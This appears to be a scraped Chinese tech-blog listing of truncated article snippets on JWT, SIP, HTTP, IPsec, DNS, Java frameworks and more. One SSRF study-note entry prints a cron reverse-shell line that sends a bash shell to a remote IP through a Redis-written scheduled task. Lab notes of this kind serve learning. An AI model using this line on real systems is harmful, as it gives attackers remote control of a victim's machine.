- php 实现JWT
每天瞎忙的农民工
phpphp
在PHP中,JSONWebToken(JWT)是一种开放标准(RFC7519)用于在各方之间作为JSON对象安全地传输信息。JWT通常用于身份验证系统,如OAuth2或基于令牌的身份验证。以下是一个基本的PHP实现JWT生成和验证的代码示例。JWT的组成部分JWT包含三个部分:Header(头部):说明算法和令牌类型。Payload(有效载荷):包含声明(如用户数据、过期时间等)。Signatur
- nfs服务搭建
GHope
nfs是什么?基哥度娘网络文件系统(NFS)是sun微系统最初开发的分布式文件系统协议,[1]允许客户端计算机上的用户通过计算机网络访问文件很像本地存储被访问。NFS与许多其他协议一样,在开放网络计算远程过程调用(很久以前RPC)系统上建立。NFS是在请求注释(RFC)中定义的开放标准,允许任何人实现协议。NFSNFS优势:节省本地存储空间,将常用的数据存放在一台NFS服务器上且可以通过网络访问,
- SIP ACK method
modem协议笔记
IMS5G网络智能手机
SIPACK同样在RFC3261中定义。ACK仅仅用于对INVITErequest的response的回复,例如在通话结束时,MO要断开连接,此时就会生成一条BYE消息。BYE不会经过代理,而是直接路由到MT。MT通过200(OK)响应确认收到BYE,然后就会终止该session和BYEtransaction,此时就不会有ACK发送。在构造的ACKrequest时,ACK必须包含Call-ID、F
- SIP RFC 关系图汇总--超全---part3
jenny_yu1025
RFCSIPsessionextensionprotocolsnetworktransitionauthorization
SIPRFC关系图汇总--超全---part3Topp.13261-32xx33xx34xx35xx36xx37xx38xx39xxPrevNext40xx41xx42xx43xx44xx45xx46xx47xx48xx49xx50xx51xx52xx53xx54xx55xx56xx57xx58xx59xx60xx61xx62xxBefore326140xx#RFC4028SessionTimer
- Go语言中实现安全高效的JWT认证:自定义中间件解析
microrain
golang物联网golang安全中间件
在现代web应用开发中,安全性和效率是两个永恒的主题。作为开发者,我们不仅需要确保用户数据的安全,还要保证应用的高性能。今天,我们将探讨如何在Go语言中使用JSONWebToken(JWT)实现一个既安全又高效的认证中间件。为什么选择JWT?JWT(JSONWebToken)是一种开放标准(RFC7519),它定义了一种紧凑且自包含的方式,用于在各方之间安全地传输信息作为JSON对象。这种信息可以
- 【系统分析师】-安全体系
宣晨光
系统分析师软考真题标签安全软考系统分析
考点综述(1)综合知识:包括加密密钥和公开密钥算法:计算机病毒及防治技术计算机犯罪基本概念与防范措施、入侵检测与防范、系统访问控制技术;信息删除、修改、插入和丢失;伪造与重放攻击的防止;SHA、MD5;私有信息保护。(2)案例:根据具体案例,说明在网络与分布式环境下的分布式应用系统在安全性方面需要考虑的因素。(3)论文:包括入侵检测、VPN、安全协议(IPSec、SSL、PGP、HTTPSSSL)
- 如何在MyEclipse中更改servlet模板
轻口味
常见问题myeclipseservlettemplates2010
刚换上Myeclipse9.0,结果要修改servlet模板的时候不像Myeclpse6.5一样能搜索的到servlet.java了.网上搜了下也没有搜到,还好求助了下老师,方法如下:在x:ProgramFilesMyEclipseCommonplugins下找到com.genuitec.eclipse.wizards_9.0.0.me201012172208.jar,然后用winrar打开,找到
- http状态响应码大全
萌新嘤嘤嘤w
HTTPhttp
HTTP状态码HTTP状态码(英语:HTTPStatusCode)是用以表示网页服务器超文本传输协议响应状态的3位数字代码。它由RFC2616规范定义的,并得到RFC2518、RFC2817、RFC2295、RFC2774与RFC4918等规范扩展。所有状态码的第一个数字代表了响应的五种状态之一。所示的消息短语是典型的,但是可以提供任何可读取的替代方案。除非另有说明,状态码是HTTP/1.1标准(
- 蓝牙--关于bta_ag_rfc.cc文件的讲解
专业开发者
蓝牙学习
讲解代表之前先简单介绍下HF和AGHF(Hands-Freeunit)测:是指作为音频网关的远程音频输入和输出机制的设备。它还提供了一些远程控制手段。在蓝牙通信中,HF通常是支持HFP(Hands-FreeProfile)协议的设备,例如蓝牙耳机、汽车蓝牙系统等。AG(AudioGateway)测:是指作为音频的输入和输出网关的设备。典型的充当音频网关的设备包括手机。我们这边主要是围绕手机端代码讲
- 探索网络服务的新利器:net-mdns
虞熠蝶
探索网络服务的新利器:net-mdnsnet-mdnsSimplemulticastDNS项目地址:https://gitcode.com/gh_mirrors/ne/net-mdns在现代网络环境中,服务的发现与管理变得越来越重要。无论是在家庭网络、企业内部还是云端环境中,快速、准确地发现和识别服务是确保系统高效运行的关键。今天,我们将介绍一个强大的开源项目——net-mdns,它基于RFC67
- quicgo
u011290064
开发语言
quic-go/quic-go简介:Go语言实现的QUIC协议。(QUIC是一个兼顾TCP连接的可靠性,同时大幅降低延迟的通用网络传输层协议)|GitHub中文社区https://www.github-zh.com/projects/55637575-quic-goquic-go是Go中QUIC协议(RFC9000、RFC9001、RFC9002)的实现。它支持HTTP/3(RFC9114),包括
- Windows配置L2TP拨号(VPDN拨号)取消IPSec
beeworkshop
在windows操作系统中使用L2TP进行VPDN拨号(连接到工作区)默认是会绑定IPSec的。当LNS不支持IPSec加密时拨号会失败,为此可以取消IPSec的绑定。禁用Windows对L2TP的IPSec默认策略绑定
- 【网络安全协议】SSL/TLS、IPSec等网络安全协议的原理与应用
爱技术的小伙子
web安全ssl安全
网络安全协议SSL/TLS、IPSec等网络安全协议的原理与应用1.引言随着互联网的迅速发展,网络安全的重要性日益凸显。网络安全协议是保护数据传输安全的关键技术,通过加密、身份验证和数据完整性等手段,防止数据在传输过程中被窃取或篡改。本文将深入探讨常见的网络安全协议,包括SSL/TLS、IPSec等,详细解释其工作原理及在实际应用中的使用方法。2.SSL/TLS协议2.1SSL/TLS的基本概念S
- using maven and eclipse created a mutiple module project
josonchen
maven
usingmavenandeclipsecreatedamutiplemoduleprojectusingmavenandeclipsecreatedamutiplemoduleproject原文网址:blog.donews.com/skyhero/archive/2006/02/16/728702.aspxMysniscreatedasamutiplemoduleproject.Itisdevi
- HTTP 响应状态代码(response status codes)
请叫我崔大师
HTTP响应状态代码指示特定HTTP请求是否已成功完成。响应分为五类:信息响应,成功响应,重定向,客户端错误和服务器错误。状态代码由section10ofRFC2616定义信息响应100Continue这个临时响应表明,迄今为止的所有内容都是可行的,客户端应该继续请求,如果已经完成,则忽略它。101SwitchingProtocol该代码是响应客户端的HTTPHeader("Upgrade标头发送
- Websocket笔记
跃龙客
二把刀运维websocket笔记网络协议
Websocket笔记文章目录Websocket笔记标准握手请求REQRES数据帧格式格式解析标准RFC6455https://datatracker.ietf.org/doc/html/rfc6455握手请求REQGET/chatHTTP/1.1Host:example.comUpgrade:websocketConnection:UpgradeSec-WebSocket-Key:dGhlIHN
- CentOS 网络接口配置文件配置示例及详解
「已注销」
Linux基础linuxcentos服务器
在CentOS中,网络配置文件一般为/etc/sysconfig/network-scripts/ifcfg-设备名称,比如ifcfg-eth0、ifcfg-ens32、ifcfg-enp8s0等。配置文件示例(假设网卡设备为ens32):#安装后默认配置,动态获取IP地址TYPE=Ethernet#网络类型。Ethernet、IPsec等类型,默认类型为Ethernet(以太网)PROXY-ME
- ssrf做题随记--任务计划的写入、csrf简单知识
板栗妖怪
小记随笔学习
目录ssrfcsrfssrf这里忘记写文档了,然后再次搭建环境一直成功不了所以这里以文字的方式记录一些要注意的点。redis在低版本下没有降权然后执行的时候是以root权限执行,到了高版本以后就不行了redis被降权了,且如果是高版本稳定版的话是没有办法写入也就是更加安全*****/bin/bash-i>&/dev/tcp/192.168.0.106/77770>&1centos写入任务计划是很正
- 经验笔记:理解和保障JWT的安全性
漆黑的莫莫
计算机网络笔记
经验笔记:理解和保障JWT的安全性引言在软件开发领域,特别是Web应用开发中,JWT(JSONWebTokens)是一种广泛使用的认证机制。JWT不仅能够简化客户端与服务端之间的身份验证流程,还能增强数据传输的安全性。本文将深入探讨JWT的工作原理,并重点讲解如何确保JWT在实际应用中的安全性,特别是在防止JWT被篡改方面。JWT的工作原理JWT是一种开放标准(RFC7519),它定义了一种紧凑且
- DHCP(动态主机配置协议)详解
云夏之末
网络协议网络
动态主机配置协议DHCP(DynamicHostConfigurationProtocol,动态主机配置协议)是RFC1541(已被RFC2131取代)定义的标准协议,该协议允许服务器向客户端动态分配IP地址和配置信息。DHCP协议支持C/S(客户端/服务器)结构,主要分为两部分:1、DHCP客户端:通常为网络中的PC、打印机等终端设备,使用从DHCP服务器分配下来的IP信息,包括IP地址、DNS
- ospf路由协议详解。。
weixin_33827590
网络数据库数据结构与算法
第1章OSPF路由协议1.1OSPF协议原理OSPF是OpenShortestPathFirst(即“开放最短路由优先协议”)的缩写。它是IETF(InternetEngineeringTaskForce)组织开发的一个基于链路状态的自治系统内部路由协议。在IP网络上,它通过收集和传递自治系统的链路状态来动态地发现并传播路由。当前OSPF协议使用的是第二版,最新的RFC是2328。OSPF协议具有
- 为什么HTTPS是安全的
mklee
1.HTTP协议在谈论HTTPS协议之前,先来回顾一下HTTP协议的概念。1.1HTTP协议介绍HTTP协议是一种基于文本的传输协议,它位于OSI网络模型中的应用层。HTTP协议是通过客户端和服务器的请求应答来进行通讯,目前协议由之前的RFC2616拆分成立六个单独的协议说明(RFC7230、RFC7231、RFC7232、RFC7233、RFC7234、RFC7235),通讯报文如下:请求POS
- makefile工程c语言工程在eclipse下如何配置头文件路径
乔丹搞IT
makefile工程c语言工程在eclipse下如何配置头文件路径如果是普通的c工程,没有使用makefile管理,则参考网络上的文章。这里我使用的是eclipsecppIDE导入一个greenplum5.0.0的源码,在查看gpperfmon源码时,发现在ide中无法直接查看apr相关的头文件内容,发现apr相关的头文件在目录/usr/include/apr-1目录中。修改方法:1,修改源码,把
- 关于http请求头host字段中的port
yedeerzi
httphttphostport
按照RFC的描述:https://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.23http请求头host字段用来指定host和port。如果该字段中没有指定port,表示使用默认端口。比如,http的则使用默认端口80,https的则使用默认端口443。按照这个描述,对于默认端口,host中是否指定似乎都是可以的。实际使用经验:1、如
- 各种HTTP返回错误代码大全
万独孤
前端http
根据RFC2616文档的指导意见,全部HTTP状态码如下:100,101200,201,202,203,204,205,206300,301,302,303,304,305,306,307400,401,402,403,404,405,406,407,408,409,410,411,412,413,414,415,416,417500,501,502,503,504,5051XXInformati
- 云计算day12
巭氼
云计算
1.dns的2种解析方式1.正向解析将域名解析为ip地址2.逆向解析将ip地址解析为域名设置解析方式,都是在zone文件中named.conf解决权限named.rfc1912.zone解决解析方式3.DNS方向解析把192.168.71.145这个ip地址逆向解析为www.yuanyu.zhangmin4.VMware和centos7的一些问题1./etc/resolv.conf文件在重启系统或
- 《菜菜的机器学习sklearn课堂》随机森林应用泛化误差调参实例
2401_83977689
程序员机器学习sklearn随机森林
clf=DecisionTreeClassifier()clf_s=cross_val_score(clf,wine.data,wine.target,cv=10)plt.plot(range(1,11),rfc_s,label=“RandomForest”)plt.plot(range(1,11),clf_s,label=“DecisionTree”)plt.legend()plt.show()
- HTTP/2:网络传输的革新与优化
liuxin33445566
网络http网络协议
摘要HTTP/2是超文本传输协议(HTTP)的第二个主要版本,旨在解决HTTP/1.x版本中存在的一些性能问题,如队头阻塞、连接复用不足等。本文将详细介绍HTTP/2的基本概念、特性、优化机制以及如何通过这些机制改善网络传输效率。1.HTTP/2简介HTTP/2基于SPDY协议,由互联网工程任务组(IETF)标准化为RFC7540。它在保持与HTTP/1.x相同的语义的同时,引入了新的二进制框架来
- vowfi中IPSEC port 500、4500端口解释
qq_25467441
网络
https://zhuanlan.zhihu.com/p/46495201关于IPSEC500、4500端口的问题,经过查阅相关RFC,做以下澄清1.port500是InternetSecurityAssociationandKeyManagementProtocol(ISAKMP)端口号2.UDPPORT4500是UDP-encapsulatedESPandIKE端口号刚开始用500,后面对方监
- 华三服务器系统安装详解,h3cr390服务器raid和安装系统.docx
weidunzai
华三服务器系统安装详解
H3CFlexServerR390服务器win2008R2操作系统安装步骤1、配置服务器ILO口、配置服务器ILO口IP地址用于远程连接服务器FtexSefve「R39Ofl0务器加电后.半运行到如卜截图所示的界i闻时,按F8键进人RBSU配倉贞rfckDGBInslnlledProLiantSystCHBIOSP?0(OJ/O1/2013JLopiirighll?BZr2613HewlettF&
- LeetCode[Math] - #66 Plus One
Cwind
javaLeetCode题解AlgorithmMath
原题链接:#66 Plus One
要求:
给定一个用数字数组表示的非负整数,如num1 = {1, 2, 3, 9}, num2 = {9, 9}等,给这个数加上1。
注意:
1. 数字的较高位存在数组的头上,即num1表示数字1239
2. 每一位(数组中的每个元素)的取值范围为0~9
难度:简单
分析:
题目比较简单,只须从数组
- JQuery中$.ajax()方法参数详解
AILIKES
JavaScriptjsonpjqueryAjaxjson
url: 要求为String类型的参数,(默认为当前页地址)发送请求的地址。
type: 要求为String类型的参数,请求方式(post或get)默认为get。注意其他http请求方法,例如put和 delete也可以使用,但仅部分浏览器支持。
timeout: 要求为Number类型的参数,设置请求超时时间(毫秒)。此设置将覆盖$.ajaxSetup()方法的全局
- JConsole & JVisualVM远程监视Webphere服务器JVM
Kai_Ge
JVisualVMJConsoleWebphere
JConsole是JDK里自带的一个工具,可以监测Java程序运行时所有对象的申请、释放等动作,将内存管理的所有信息进行统计、分析、可视化。我们可以根据这些信息判断程序是否有内存泄漏问题。
使用JConsole工具来分析WAS的JVM问题,需要进行相关的配置。
首先我们看WAS服务器端的配置.
1、登录was控制台https://10.4.119.18
- 自定义annotation
120153216
annotation
Java annotation 自定义注释@interface的用法 一、什么是注释
说起注释,得先提一提什么是元数据(metadata)。所谓元数据就是数据的数据。也就是说,元数据是描述数据的。就象数据表中的字段一样,每个字段描述了这个字段下的数据的含义。而J2SE5.0中提供的注释就是java源代码的元数据,也就是说注释是描述java源
- CentOS 5/6.X 使用 EPEL YUM源
2002wmj
centos
CentOS 6.X 安装使用EPEL YUM源1. 查看操作系统版本[root@node1 ~]# uname -a Linux node1.test.com 2.6.32-358.el6.x86_64 #1 SMP Fri Feb 22 00:31:26 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux [root@node1 ~]#
- 在SQLSERVER中查找缺失和无用的索引SQL
357029540
SQL Server
--缺失的索引
SELECT avg_total_user_cost * avg_user_impact * ( user_scans + user_seeks ) AS PossibleImprovement ,
last_user_seek ,
 
- Spring3 MVC 笔记(二) —json+rest优化
7454103
Spring3 MVC
接上次的 spring mvc 注解的一些详细信息!
其实也是一些个人的学习笔记 呵呵!
- 替换“\”的时候报错Unexpected internal error near index 1 \ ^
adminjun
java“\替换”
发现还是有些东西没有刻子脑子里,,过段时间就没什么概念了,所以贴出来...以免再忘...
在拆分字符串时遇到通过 \ 来拆分,可是用所以想通过转义 \\ 来拆分的时候会报异常
public class Main {
/*
- POJ 1035 Spell checker(哈希表)
aijuans
暴力求解--哈希表
/*
题意:输入字典,然后输入单词,判断字典中是否出现过该单词,或者是否进行删除、添加、替换操作,如果是,则输出对应的字典中的单词
要求按照输入时候的排名输出
题解:建立两个哈希表。一个存储字典和输入字典中单词的排名,一个进行最后输出的判重
*/
#include <iostream>
//#define
using namespace std;
const int HASH =
- 通过原型实现javascript Array的去重、最大值和最小值
ayaoxinchao
JavaScriptarrayprototype
用原型函数(prototype)可以定义一些很方便的自定义函数,实现各种自定义功能。本次主要是实现了Array的去重、获取最大值和最小值。
实现代码如下:
<script type="text/javascript">
Array.prototype.unique = function() {
var a = {};
var le
- UIWebView实现https双向认证请求
bewithme
UIWebViewhttpsObjective-C
什么是HTTPS双向认证我已在先前的博文 ASIHTTPRequest实现https双向认证请求
中有讲述,不理解的读者可以先复习一下。本文是用UIWebView来实现对需要客户端证书验证的服务请求,网上有些文章中有涉及到此内容,但都只言片语,没有讲完全,更没有完整的代码,让人困扰不已。但是此知
- NoSQL数据库之Redis数据库管理(Redis高级应用之事务处理、持久化操作、pub_sub、虚拟内存)
bijian1013
redis数据库NoSQL
3.事务处理
Redis对事务的支持目前不比较简单。Redis只能保证一个client发起的事务中的命令可以连续的执行,而中间不会插入其他client的命令。当一个client在一个连接中发出multi命令时,这个连接会进入一个事务上下文,该连接后续的命令不会立即执行,而是先放到一个队列中,当执行exec命令时,redis会顺序的执行队列中
- 各数据库分页sql备忘
bingyingao
oraclesql分页
ORACLE
下面这个效率很低
SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (SELECT * FROM IPAY_RCD_FS_RETURN order by id desc) A ) WHERE RN <20;
下面这个效率很高
SELECT A.*, ROWNUM RN FROM (SELECT * FROM IPAY_RCD_
- 【Scala七】Scala核心一:函数
bit1129
scala
1. 如果函数体只有一行代码,则可以不用写{},比如
def print(x: Int) = println(x)
一行上的多条语句用分号隔开,则只有第一句属于方法体,例如
def printWithValue(x: Int) : String= println(x); "ABC"
上面的代码报错,因为,printWithValue的方法
- 了解GHC的factorial编译过程
bookjovi
haskell
GHC相对其他主流语言的编译器或解释器还是比较复杂的,一部分原因是haskell本身的设计就不易于实现compiler,如lazy特性,static typed,类型推导等。
关于GHC的内部实现有篇文章说的挺好,这里,文中在RTS一节中详细说了haskell的concurrent实现,里面提到了green thread,如果熟悉Go语言的话就会发现,ghc的concurrent实现和Go有点类
- Java-Collections Framework学习与总结-LinkedHashMap
BrokenDreams
LinkedHashMap
前面总结了java.util.HashMap,了解了其内部由散列表实现,每个桶内是一个单向链表。那有没有双向链表的实现呢?双向链表的实现会具备什么特性呢?来看一下HashMap的一个子类——java.util.LinkedHashMap。
- 读《研磨设计模式》-代码笔记-抽象工厂模式-Abstract Factory
bylijinnan
abstract
声明: 本文只为方便我个人查阅和理解,详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/
package design.pattern;
/*
* Abstract Factory Pattern
* 抽象工厂模式的目的是:
* 通过在抽象工厂里面定义一组产品接口,方便地切换“产品簇”
* 这些接口是相关或者相依赖的
- 压暗面部高光
cherishLC
PS
方法一、压暗高光&重新着色
当皮肤很油又使用闪光灯时,很容易在面部形成高光区域。
下面讲一下我今天处理高光区域的心得:
皮肤可以分为纹理和色彩两个属性。其中纹理主要由亮度通道(Lab模式的L通道)决定,色彩则由a、b通道确定。
处理思路为在保持高光区域纹理的情况下,对高光区域着色。具体步骤为:降低高光区域的整体的亮度,再进行着色。
如果想简化步骤,可以只进行着色(参看下面的步骤1
- Java VisualVM监控远程JVM
crabdave
visualvm
Java VisualVM监控远程JVM
JDK1.6开始自带的VisualVM就是不错的监控工具.
这个工具就在JAVA_HOME\bin\目录下的jvisualvm.exe, 双击这个文件就能看到界面
通过JMX连接远程机器, 需要经过下面的配置:
1. 修改远程机器JDK配置文件 (我这里远程机器是linux).
 
- Saiku去掉登录模块
daizj
saiku登录olapBI
1、修改applicationContext-saiku-webapp.xml
<security:intercept-url pattern="/rest/**" access="IS_AUTHENTICATED_ANONYMOUSLY" />
<security:intercept-url pattern=&qu
- 浅析 Flex中的Focus
dsjt
htmlFlexFlash
关键字:focus、 setFocus、 IFocusManager、KeyboardEvent
焦点、设置焦点、获得焦点、键盘事件
一、无焦点的困扰——组件监听不到键盘事件
原因:只有获得焦点的组件(确切说是InteractiveObject)才能监听到键盘事件的目标阶段;键盘事件(flash.events.KeyboardEvent)参与冒泡阶段,所以焦点组件的父项(以及它爸
- Yii全局函数使用
dcj3sjt126com
yii
由于YII致力于完美的整合第三方库,它并没有定义任何全局函数。yii中的每一个应用都需要全类别和对象范围。例如,Yii::app()->user;Yii::app()->params['name'];等等。我们可以自行设定全局函数,使得代码看起来更加简洁易用。(原文地址)
我们可以保存在globals.php在protected目录下。然后,在入口脚本index.php的,我们包括在
- 设计模式之单例模式二(解决无序写入的问题)
come_for_dream
单例模式volatile乱序执行双重检验锁
在上篇文章中我们使用了双重检验锁的方式避免懒汉式单例模式下由于多线程造成的实例被多次创建的问题,但是因为由于JVM为了使得处理器内部的运算单元能充分利用,处理器可能会对输入代码进行乱序执行(Out Of Order Execute)优化,处理器会在计算之后将乱序执行的结果进行重组,保证该
- 程序员从初级到高级的蜕变
gcq511120594
框架工作PHPandroidhtml5
软件开发是一个奇怪的行业,市场远远供不应求。这是一个已经存在多年的问题,而且随着时间的流逝,愈演愈烈。
我们严重缺乏能够满足需求的人才。这个行业相当年轻。大多数软件项目是失败的。几乎所有的项目都会超出预算。我们解决问题的最佳指导方针可以归结为——“用一些通用方法去解决问题,当然这些方法常常不管用,于是,唯一能做的就是不断地尝试,逐个看看是否奏效”。
现在我们把淫浸代码时间超过3年的开发人员称为
- Reverse Linked List
hcx2013
list
Reverse a singly linked list.
/**
* Definition for singly-linked list.
* public class ListNode {
* int val;
* ListNode next;
* ListNode(int x) { val = x; }
* }
*/
p
- Spring4.1新特性——数据库集成测试
jinnianshilongnian
spring 4.1
目录
Spring4.1新特性——综述
Spring4.1新特性——Spring核心部分及其他
Spring4.1新特性——Spring缓存框架增强
Spring4.1新特性——异步调用和事件机制的异常处理
Spring4.1新特性——数据库集成测试脚本初始化
Spring4.1新特性——Spring MVC增强
Spring4.1新特性——页面自动化测试框架Spring MVC T
- C# Ajax上传图片同时生成微缩图(附Demo)
liyonghui160com
1.Ajax无刷新上传图片,详情请阅我的这篇文章。(jquery + c# ashx)
2.C#位图处理 System.Drawing。
3.最新demo支持IE7,IE8,Fir
- Java list三种遍历方法性能比较
pda158
java
从c/c++语言转向java开发,学习java语言list遍历的三种方法,顺便测试各种遍历方法的性能,测试方法为在ArrayList中插入1千万条记录,然后遍历ArrayList,发现了一个奇怪的现象,测试代码例如以下:
package com.hisense.tiger.list;
import java.util.ArrayList;
import java.util.Iterator;
- 300个涵盖IT各方面的免费资源(上)——商业与市场篇
shoothao
seo商业与市场IT资源免费资源
A.网站模板+logo+服务器主机+发票生成
HTML5 UP:响应式的HTML5和CSS3网站模板。
Bootswatch:免费的Bootstrap主题。
Templated:收集了845个免费的CSS和HTML5网站模板。
Wordpress.org|Wordpress.com:可免费创建你的新网站。
Strikingly:关注领域中免费无限的移动优
- localStorage、sessionStorage
uule
localStorage
W3School 例子
HTML5 提供了两种在客户端存储数据的新方法:
localStorage - 没有时间限制的数据存储
sessionStorage - 针对一个 session 的数据存储
之前,这些都是由 cookie 完成的。但是 cookie 不适合大量数据的存储,因为它们由每个对服务器的请求来传递,这使得 cookie 速度很慢而且效率也不